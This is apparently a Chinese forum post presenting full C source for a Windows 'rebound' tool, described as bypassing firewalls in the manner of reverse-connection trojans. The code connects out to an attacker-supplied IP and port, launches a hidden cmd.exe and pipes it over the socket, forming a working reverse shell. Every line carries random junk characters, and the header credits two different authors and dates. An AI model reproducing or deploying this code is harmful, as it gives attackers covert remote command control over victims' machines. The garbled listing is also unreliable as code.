这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~B_ D@gV|
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/* ============================== 4v qNule
Rebound port in Windows NT WK;(P4Z
By wind,2006/7 )iSy@*nY
===============================*/ \dV Too
#include /DU*M,
#include kxo.v |)8
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#pragma comment(lib,"wsock32.lib") 8p=>?wG
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void OutputShell(); afm_ Rrg[
SOCKET sClient; f z%tA39m
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KXe
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void main(int argc,char **argv) O5-;I,)H
{ x!?Z*v@I
WSADATA stWsaData; 'F5)ACA%
int nRet; :]c=pH
SOCKADDR_IN stSaiClient,stSaiServer; Jsn <,4DO8
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if(argc != 3) q^Inb)FeN
{ `d*b]2
printf("Useage:\n\rRebound DestIP DestPort\n"); ,!>fmU`E4
return; a:u}d7T3e
} ]u=Ca#!'
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WSAStartup(MAKEWORD(2,2),&stWsaData); H8i+'5x,?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3; y_mg
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stSaiClient.sin_family = AF_INET; 1nB@zBQu-
stSaiClient.sin_port = htons(0); sqG`"O4W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J@`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zh,]J `
{ p&5S|![\
printf("Bind Socket Failed!\n"); EUZq$@uWL
return; bp%S62Dj
} l* Y[^'
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stSaiServer.sin_family = AF_INET; 0N VI+Z$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); : bv|Ah
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RpN <=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uF<S
{ };p~A-E=
printf("Connect Error!"); Gl>E[iO
return; K:w]>a
} (1 yGg==W.
OutputShell(); ,n5a] )Dg
} h,]+ >`b
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void OutputShell() )E`+BH
{ ':sTd^V
char szBuff[1024]; P)IjL&[
SECURITY_ATTRIBUTES stSecurityAttributes; ^&m?qKN8
OSVERSIONINFO stOsversionInfo; .e$%[)D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rIlBH*aT
STARTUPINFO stStartupInfo; 5_aw.s>
char *szShell; $e1:Q#den2
PROCESS_INFORMATION stProcessInformation; V6+Zh>'S
unsigned long lBytesRead; %MuaW(I o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f0FP9t3k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F[`vH
stSecurityAttributes.lpSecurityDescriptor = 0; `[@VxGy_
stSecurityAttributes.bInheritHandle = TRUE; yFO)<GLk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bK7.St
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z1Q2*:)c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5H!%0LrJg=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WRM$DA
stStartupInfo.wShowWindow = SW_HIDE; o=mo/N4
stStartupInfo.hStdInput = hReadPipe; wA",SBGX
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LP?P=c
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GetVersionEx(&stOsversionInfo); 5Hy3\_ +
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switch(stOsversionInfo.dwPlatformId) >{F!ntEj
{ os_WYQ4>j
case 1: zn^ v!:[
szShell = "command.com"; O+vcs4
break; Nm"<!a<F
default: C9pnU,[
szShell = "cmd.exe"; N(BiOLZL6
break; j%5a+(H,z;
} 6Pijvx^0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u
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send(sClient,szMsg,77,0); 4Pf+]R
while(1) B~rU1Y)
{ raF]
k0{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @Wz%KdXA
if(lBytesRead) m0C{SBn-M
{ 0@v2*\D#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UAKu_RO6S
send(sClient,szBuff,lBytesRead,0); D&f!( n
} %r P !
else WP!il(Gr
{ F-tFet
lBytesRead=recv(sClient,szBuff,1024,0); Se/ss!If
if(lBytesRead<=0) break; N-Z^G<[q.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,\}k~ U99
} %GVN4y&
} ) H+d.Y
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return; _j>L4bT
}